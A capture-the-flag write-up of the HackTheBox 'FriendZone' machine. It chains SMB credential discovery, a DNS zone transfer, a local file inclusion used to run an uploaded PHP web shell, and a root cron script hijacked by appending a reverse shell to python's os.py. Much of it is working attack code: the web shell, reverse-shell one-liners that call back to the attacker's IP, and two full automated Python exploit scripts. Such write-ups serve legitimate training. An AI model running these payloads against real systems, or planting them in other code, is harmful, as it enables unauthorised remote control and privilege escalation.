Home HackTheBox - FriendZone
Post
Cancel

HackTheBox - FriendZone

This box was an Easy box from HackTheBox. It’s OS is Linux. The entry point is with a web vulnerability which allow us to have a LFI, where we can upload a malicious PHP file on the server, and them get the RCE on the box. The root we get with a vulnerability called python path hijack, which we can hijack, and a script python running as root in a cron.

The exploit for this box is on the body of the post. Hope you enjoy!

Diagram

graph TD
    A[Enumeration] -->|Nmap| B(Ports 80, 443 and 445)
    B --> C[Smb - Creds]
    C --> |Port 443| D[Logged In - LFI]
    D --> |Upload Malicious PHP| E[RCE]
    E --> |Automated Python Reverse Shell| F[Python Path Hijack]
    F --> |Root| G[Python Script]
    G --> |Exploit| H[Root Shell]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.123

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 445

We run some commands to enumerate the samba share in this box

1
2
smbclient -N -L //10.10.10.123
smbmap -H 10.10.10.123

We enumerate the general folder

1
smbclient -N //10.10.10.123/general

And found some creds

admin:WORKWORKHhallelujah@#

Port 80 and 443

We try to open it on the browser

It seems to be a normal page

We add the friendzone.red on /etc/hosts

And on port 443 the result is different

We look at the source code and we found something

On the source code we found something interesting also

Seems that we need to perform some kind of attack on port 53

Port 53

Let’s perform a DNS reverse

1
dig axfr @10.10.10.123 friendzone.red

We found some new domains, but we can try with other domain also. So we add the domain friendzoneportal.red on /etc/hosts and try with that

1
dig axfr @10.10.10.123 friendzoneportal.red

We found the following domains

1
2
3
4
5
6
7
administrator1.friendzone.red
hr.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
files.friendzoneportal.red
imports.friendzoneportal.red
vpn.friendzoneportal.red

Subdomain Enumeration

We add all of them to /etc/hosts

We start a enumeration in this subdmomais we found. For that we use aquatone

1
cat hosts.txt | ./aquatone

We open the report to see better what is happening

And the resume is

1
2
3
4
5
6
Login Portal:
https://admin.friendzoneportal.red
https://administrator1.friendzone.red

Uploads:
https://uploads.friendzone.red

We get into the admin page, once we already have creds we got from the samba enumeration

And we get an interesting message on the page

Always when we see that we can pass files over the get request, possibly it’s vulnerable to LFI. So let’s send it to burp to test out

LFI

Once on burp, we can start digging it out

And on PayloadAllTheThings

We found a way to read files on the server

And we read some files to understand how the server works… The main ideia here is to upload a php malicious file on the samba server, and then call it with the LFI we have… Giving remote code execution to us

RCE

So, let’s upload a malicious php file in the samba share

cmd.php

1
<?php system($_REQUEST['cmd']); ?>

And the command we wil use

1
smbclient -N //10.10.10.123/Development -c 'put cmd.php cmd.php'

Done. We put the php file there, now we must need to get the RCE

1
https://administrator1.friendzone.red/dashboard.php?image_id=&pagename=../../../etc/Development/cmd&cmd=id

And now a reverse shell

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 443 >/tmp/f

Now let’s easily automate it.

Auto Reverse Shell

We’ll use our skeleton

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

import argparse
import requests
import sys

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    args = parser.parse_args()
    
    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

Here it is

friendzone_auto_pwn.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/python3
# Author: 0x4rt3mis
# HackTheBox - Friendzone Auto Pwn

import argparse
import requests
import sys
import urllib
from smb.SMBHandler import SMBHandler
import base64
import urllib.parse
import socket, telnetlib
from threading import Thread
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Set the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()
    
# Function to get the user and password
def SambaRead(rhost):
    opener = urllib.request.build_opener(SMBHandler)
    fh = opener.open('smb://%s/general/creds.txt' %rhost)
    global creds
    creds = fh.read().decode().splitlines()[2]
    print("[+] The creds for the site is: %s ! [+]" %creds)
    fh.close()

# Login on the website
def LoginWeb(rhost,creds):
    print("[+] Now, let's login with the creds ! [+]")
    url = "https://administrator1.friendzone.red:443/login.php"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = creds.split(":")[1]
    data = {"username": "admin", "password": "%s" %password}
    r.post(url, headers=headers, data=data, verify=False, proxies=proxies)
    print("[+] Logged In !! [+]")
    
# Function to upload the malicious php file
def SambaUpload(rhost):
    print("[+] Let's upload the malicious file !! [+]")
    file_fh = open('cmd.php', 'rb')
    director = urllib.request.build_opener(SMBHandler)
    fh = director.open('smb://%s/Development/cmd.php' %rhost, data = file_fh)
    fh.close()
    print("[+] Done ! [+]")
    
# Function to get the reverse shell
def getReverse(lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    url = "https://administrator1.friendzone.red/dashboard.php?image_id=&pagename=../../../etc/Development/cmd"
    r.get(url, params=payload_str, proxies=proxies, verify=False, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Get the password for the web interface
    SambaRead(rhost)
    # Login in it
    LoginWeb(rhost,creds)
    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Upload Malicious php
    SambaUpload(rhost)
    # Get RCE
    getReverse(lhost,lport)
    
if __name__ == '__main__':
    main()

www-data –> Root

Now, let’s get root in this box.

We upload the pspy

We execute it and see a file called reporter.py is being execute as root in this server

We execute the linpeas in this server also

We see that we can write to the os.py file, library which the reporter.py script call, so if we put a reverse shell in it, it’ll execute as root!

Python Path Hijack

The attack we will perform here is called python path hijack, it’s very well described in this post.

First we need to see what is the path from what the python look for libraries

1
python -c 'import sys; print "\n".join(sys.path)'

The first blank line indicates that it looks first for the path of the script. If we put a python file called os.py in the same folder of the script, it’ll execute when the reporter.py import the os library.

We cannot write in the same folder

But we can write on the os.py

So, let’s get root in it

We add our call in the end of the os.py script

1
import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

And after some minutes, we get the root shell

Now, let’s automate everything

Root Auto Pwn

And, here it is

root_friendzone_pwn.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python3
# Author: 0x4rt3mis
# HackTheBox - Friendzone Auto Pwn

import argparse
import requests
import sys
import urllib
from smb.SMBHandler import SMBHandler
import base64
import urllib.parse
from threading import Thread
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from pwn import *
import base64

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# b64 Things
def b64e(s):
    return base64.b64encode(s.encode()).decode()
    
# Handler www-data which will be opened in thread
def FirstHandler(lport,lhost):
    www = listen(lport).wait_for_connection()
    lport = int(lport) + 1
    payload = "import os;os.system(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f\")\n" %(lhost,lport)
    #payload = "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")\n" %(lhost,lport)
    payload = b64e(payload).encode()
    www.send(b"echo %s | base64 -d >> /usr/lib/python2.7/os.py" %(payload))
    www.send(b"\n")
    www.close()
    
# Handler root which will be opened in thread
def RootHandler(lport):
    root = listen(lport).wait_for_connection()
    root.interactive()

# Function to get the user and password
def SambaRead(rhost):
    opener = urllib.request.build_opener(SMBHandler)
    fh = opener.open('smb://%s/general/creds.txt' %rhost)
    global creds
    creds = fh.read().decode().splitlines()[2]
    print("[+] The creds for the site is: %s ! [+]" %creds)
    fh.close()

# Login on the website
def LoginWeb(rhost,creds):
    print("[+] Now, let's login with the creds ! [+]")
    url = "https://administrator1.friendzone.red:443/login.php"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    password = creds.split(":")[1]
    data = {"username": "admin", "password": "%s" %password}
    r.post(url, headers=headers, data=data, verify=False, proxies=proxies)
    print("[+] Logged In !! [+]")
    
# Function to upload the malicious php file
def SambaUpload(rhost):
    print("[+] Let's upload the malicious file !! [+]")
    file_fh = open('cmd.php', 'rb')
    director = urllib.request.build_opener(SMBHandler)
    fh = director.open('smb://%s/Development/cmd.php' %rhost, data = file_fh)
    fh.close()
    print("[+] Done ! [+]")
    
# Function to get the reverse shell
def getReverse(lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    url = "https://administrator1.friendzone.red/dashboard.php?image_id=&pagename=../../../etc/Development/cmd"
    r.get(url, params=payload_str, proxies=proxies, verify=False, cookies=r.cookies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Local ip address or hostname', required=True)
    parser.add_argument('-lp', '--localport', help='Local port', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.localport

    '''Here we call the functions'''
    # Get the password for the web interface
    SambaRead(rhost)
    # Login in it
    LoginWeb(rhost,creds)
    # Set Up the First Handler
    thr = Thread(target=FirstHandler,args=(int(lport),lhost,))
    thr.start()
    # Upload Malicious php
    SambaUpload(rhost)
    # Get RCE
    getReverse(lhost,lport)
    # Set Up the  Root Handler
    lport = int(lport) + 1
    RootHandler(lport)
    
if __name__ == '__main__':
    main()
This post is licensed under CC BY 4.0 by the author.